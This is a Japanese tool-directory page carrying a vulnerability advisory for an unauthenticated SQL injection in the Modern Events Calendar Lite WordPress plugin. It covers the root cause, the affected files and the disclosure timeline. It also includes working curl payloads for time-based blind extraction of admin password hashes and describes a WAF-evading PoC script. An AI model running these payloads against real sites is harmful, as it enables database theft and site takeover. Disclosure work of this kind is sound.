Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — 未認証SQLインジェクション | Kitploit
ツール/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストデータベースセキュリティ
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — 未認証SQLインジェクション

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Modern Events Calendar Lite <= 7.33.0 — 認証不要のSQLインジェクション(mec_list_load_more の atts[include] / atts[exclude] 経由)

概要

詳細値
プラグインModern Events Calendar Lite
スラッグmodern-events-calendar-lite
作者Webnus
影響を受ける<= 7.33.0(現在ベンダーが配布しているLite版)。バグは全 post-w.org 範囲に存在。6.5.6 および 7.33.0 で実験室確認済み、5.21.2 で静的確認済み。6.5.6 = 最後の wordpress.org ビルド(2022-05-11 クローズ時点で凍結)。7.33.0 = mec.webnus.net から配布されている現在のビルド
アクティブインストール数クローズ以降 wordpress.org のカウントは非表示。歴史的に 100,000 以上。ベンダーによって現在も積極的に配布・更新中(Lite は mec.webnus.net 経由。同じ 7.x コードベースが積極的に販売中の MEC Pro の基盤)
CWECWE-89(SQLインジェクション)
脆弱性認証不要のブラインドSQLインジェクション(時間ベース / ブール / エラーベース)
必要な権限なし(wp_ajax_nopriv_* — 認証前)
ユーザー操作なし
CVSS v3.17.5(高) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
ステータス7.33.0(現在)および 6.5.6(WordPress 6.6.5、MariaDB 10.x)でエンドツーエンドの実験室検証済み
CVE / GHSACVE-2026-11349

説明

Modern Events Calendar Lite は、イベントリストスキン(list、grid、masonry、agenda、timeline、tile、custom)に対して、認証不要の一連の admin-ajax.php 「もっと読み込む」アクションを登録します。各ハンドラは、攻撃者が制御する atts リクエスト配列を読み取り、sanitize_deep_array() というヘルパーに渡します。このヘルパーは、デフォルトの引数で呼び出された場合、まったくサニタイズを行いません。その後、atts['include'](および atts['exclude'])の値を生のまま、post_id IN (...) というSQL断片に連結し、$wpdb->get_results() で**$wpdb->prepare() なしで**実行します。

エントリポイントが wp_ajax_nopriv_* に登録されているため、認証、アカウント、ノンス、ユーザー操作は一切不要です。 認証されていないリモート攻撃者は、wp_mec_dates に対する SELECT の WHERE 句に任意のSQLを注入し、WordPressデータベース内の任意のデータ(ユーザーパスワードハッシュ、wp_options の秘密鍵/キー、他のプラグインのデータ)を、ブラインドの時間ベース/ブール/エラーベースの手法で読み取ることができます。


根本原因

1. デフォルトパスでは何もサニタイズしない「サニタイザー」

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // 行 9615
        {
            $sanitized[$key] = $val;   // <-- 生のまま通過、サニタイズなし
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... は $excludes が空でない場合にのみ到達)
    }
    return $sanitized;
}

ガード (is_array($excludes) and !count($excludes)) により、$excludes がデフォルトの空の配列の場合、この関数は完全なノーオペレーションになります — すべての値がそのままコピーされます。意図は明らかに「除外リストがある場合は、それらのキーをスキップする」でしたが、論理演算の結果、除外リストが指定されていない場合はすべてがスキップされます。

2. 呼び出し側が $excludes を指定していない

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // 行 501

sanitize_deep_array($_REQUEST['atts']) は引数1つで呼び出される → $excludes は array() にデフォルト → 上記のノーオペレーションブランチ → $atts は生の、信頼できない $_REQUEST['atts'] になります。

3. IN (...) 句への生の連結

app/libraries/skins.php:

root@kitploit:~
// 行 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// 行 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

配列要素は整数キャストもエスケープもなしで直接SQL文字列に implode() されます。(各要素に absint()/(int) を適用すれば防げたはずです。)

4. プリペアドステートメントなしでの実行

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // `#__` をテーブルプレフィックスに置き換えるだけ
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // 行 87 — prepare() なし
    // ...
}

完全に構築された文字列は、そのまま $wpdb->get_results() に渡されます。

汚染フロー(リクエスト → シンク):

root@kitploit:~
$_REQUEST['atts']                                       (攻撃者制御、認証不要)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (ノーオペレーション:デフォルトの空 $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = 生の atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (prepare なし)

到達可能性

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- 認証不要

nopriv 登録により、エンドポイントは認証前に到達可能になります。同じ load_more() の構造と共有の skins.php クエリビルダーは、兄弟スキンにも存在し、それぞれ独自の wp_ajax_nopriv_* アクションを持っています。そのため、同じインジェクションは以下のいずれからも到達可能です。

AJAX アクション (nopriv)スキンハンドラ
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

load_more() ではノンスはチェックされておらず、アクションはページ上にプラグインのショートコードが存在する必要はありません。AJAX ハンドラは init 時に無条件に登録されます。


概念実証(実験室確認済み、MEC Lite 6.5.6、WordPress 6.6.5、MariaDB 10.x)

すべてのリクエストは認証不要(クッキー、ノンスなし)です。注入された値は atts[include][] に配置されます。ペイロードは IN ((...) AND (... IN ( グループの2つの開き括弧を閉じ、トップレベルの OR <sleep> を追加して、条件がスキャンされたすべての行で評価されるようにし、末尾の )) ORDER BY ... をコメントアウトします。

root@kitploit:~
TARGET='https://victim.example'          # プレーンなパーマリンク: admin-ajax.php を直接使用

# 1) ベースライン(注入なし)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) 時間ベースの証明 — バランスのとれたトップレベル OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) が実行された

# 3) ブールオラクル(true と false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) 実際のデータ抽出(ブラインド)、例:管理者パスワードハッシュの最初のバイト == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: 管理者ハッシュは '$' で始まる(phpass)

エラーカナリア atts[include][]=0)MEC_SQLI_CANARY に対して実行された正確なクエリ(WP_DEBUG_LOG から取得)は次のとおりでした:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— リテラルトークン MEC_SQLI_CANARY が実行されたステートメントにそのまま出現しており、生の連結が確認されました。atts[exclude][] パラメータ(skins.php:803 / 603、NOT IN)も同様に注入可能です(実験室確認済み: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s)。同一のクエリと注入が7.33.0(現在のビルド)でも再現されました — 同じカナリア、同じ SLEEP 動作。

自動化 PoC

mec-unauth-sqli-poc.py(付属)は完全に自己完結型で、認証情報は不要です。インジェクションを確認し(ベースライン vs. SLEEP)、その後、時間ベースのブラインド抽出で任意のデータを抽出します(デフォルト: @@version、DBユーザー、最初の管理者の user_login:user_pass)。各応答を検証し(HTTP 200)、--delay + バックオフを使用して WAF/レート制限(例: mod_evasive)を回避します。データは変更されません(読み取り専用の SELECT コンテキスト)。

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

影響

認証不要、ネットワーク到達可能、データベースへの完全な読み取りアクセス: wp_users のパスワードハッシュ、wp_options(auth_key、APIシークレット、トークン)、およびその他の任意のテーブル。実際には、これは完全なサイト乗っ取りにつながります(オフラインでのハッシュクラッキング、シークレット/セッションの盗難)。整合性への影響は限定的です — インジェクションは $wpdb->get_results() を介した SELECT で実行され、スタッククエリは許可されないため — したがって I:N。大量の SLEEP/BENCHMARK は可用性を低下させる可能性がありますが、主で確実に実証された影響は機密性(C:H)であり、CVSS 7.5 になります。


影響を受けるファイル

行番号は7.33.0(現在)で、括弧内は6.5.6です。コードは範囲全体で同一です。

ファイル行(7.33.0 / 6.5.6)問題
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() は、$excludes がデフォルトの空の配列の場合、ノーオペレーションになる(!count($excludes) ガード)
app/skins/list.php535 / 501atts が $_REQUEST から読み取られ、$excludes なしで sanitize_deep_array() に渡される(load_more() 内、532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → 認証不要のエントリポイント
app/libraries/skins.php806 / 603-606include / exclude 配列が implode() で生のまま post_id IN (...) / NOT IN (...) に連結される(exclude は 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() が $wpdb->get_results() を prepare() なしで実行

兄弟スキン(grid、masonry、agenda、timeline、tile、custom)は、同じ load_more() + skins.php クエリビルダーを共有し、それぞれ wp_ajax_nopriv_* アクションを登録します → 同じバグ、複数のエントリポイント。


過去の Modern Events Calendar SQL インジェクション CVE との違い

これは明確に区別され、これまで報告されていないインジェクションポイントです。公に文書化されたすべての MEC SQL インジェクションは、異なる AJAX アクションとパラメータを標的としており、すべてこの発見より後のバージョンで修正されました(この発見は 7.33.0 で実験室確認済みで現在も有効です)。

参照認証AJAX アクションパラメータ修正バージョン
CVE-2021-24946認証不要mec_load_single_pagetime6.1.5
CVE-2021-4458認証不要 (addslashes/入力スラッシュが無効の場合のみ)mec_load_single_pageid6.4.0
CVE-2021-24149認証済み(author+/subscriber)mec_fes_formmec[post_id]5.16.6
本報告認証不要(前提条件なし)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]未修正(≤ 7.33.0)
  • 異なるコードパス。 以前の認証不要の問題は単一イベントハンドラ mec_load_single_page にあります。これはスキンの「もっと読み込む」ページネーション(load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...) ビルダー)にあり、sanitize_deep_array() のノーオペレーションデフォルトブランチを通じて到達します。mec_load_single_page のパッチは skins.php には触れていません。
  • 設定の前提条件なし。 CVE-2021-4458 (id) は、その値が引用符で囲まれたコンテキストにあるため、PHP/WordPress の入力スラッシュが無効の場合(デフォルト以外の状態)にのみ悪用可能でした。ここでは atts[include]/atts[exclude] の値は引用符で囲まれていない数値の IN(...) コンテキストに配置され、括弧 + SQL キーワード(0)) OR SLEEP(3)#)で悪用され、wp_magic_quotes() は無力化しません。したがって、デフォルトの WordPress インストールで悪用可能です — 標準 WP 7.0(マジッククォート有効)で実験室確認済み。
  • 以前のすべての修正を生き延びています。 7.33.0 で発動を確認 — 最後の mec_load_single_page パッチ(6.4.0)から4年、メジャーバージョンが経過しています。

開示 / スコープに関する注記

Modern Events Calendar Lite は 2022-05-11 に wordpress.org から削除されました(「理由: ガイドライン違反」)。そのため、wordpress.org のビルドは 6.5.6 で凍結されています。これはプラグインが放棄されたことを意味しません — Webnus はプラットフォーム外で開発を継続しています: mec.webnus.net から配布されている現在の Lite ビルドは 7.33.0 であり、脆弱なコードパスはそこでもバイト単位で同一です(実験室確認済み。SQLi は 7.33.0 でも同一に発動)。したがって、このバグは削除後の範囲全体のすべてのリリースに影響します(凍結された wordpress.org コピーだけでなく)。

ルーティングの影響(「wordpress.org で閉鎖されている」という反論は、最初に思われるよりもはるかに弱い):

  • これは現在ベンダーが配布し、サポートされている製品であり、放棄されたコードではありません — 調整された開示を Webnus に送ることが主要なチャネルです。Webnus は積極的にアップデートを提供しており、パッチを適用する必要があります。
  • MEC Pro(現在販売中。現在の 7.x)はこの同じ 7.x コードベース上に構築されています。app/libraries/skins.php、app/libraries/main.php、app/libraries/db.php は共有のコアライブラリであるため、Pro はほぼ確実に影響を受けます。これを正式に主張する前に、Pro のソースに対して確認する必要がありますが、共有ライブラリのアーキテクチャからすると非常に可能性が高いです。Pro への影響が確認されれば、この発見は Patchstack(公に販売されているコンポーネント)にとって明確にスコープ内となり、wordpress.org のリスト状況に関係なく MITRE/Patchstack CVE に値します。
  • wordpress.org のリストに特化してゲートを設ける消費者(一部の Wordfence 報奨金基準。Lite フリービルドに適用される Patchstack の「クローズドコンポーネント」除外)については、凍結された 6.5.6 ではなく、ベンダー配布の 7.33.0 + Pro への影響を引用してください。

CVE は当然の価値があります: 認証不要、ネットワーク到達可能、フルDB読み取りのSQLインジェクションが、現在ベンダーが配布し、6桁の歴史的インストールベースを持つ製品に存在します。


タイムライン

日付イベント
2026-06-03自動プラグインレビュー中に発見。MEC Lite 6.5.6(wordpress.org 凍結ビルド)でエンドツーエンド(認証不要)を確認
2026-06-047.33.0(mec.webnus.net からの現在のベンダー配布 Lite)でエンドツーエンドを再確認。コード/インジェクションが同一であることを確認 — この発見は現在も有効であり、削除されたバージョンのアーティファクトではない
2026-06-04ベンダー通知(Webnus)+ WPScan CVE リクエスト。MEC Pro が同じパスを共有することを確認
2026-06-05脆弱性が確認され、CVE が割り当てられる
ツールをダウンロード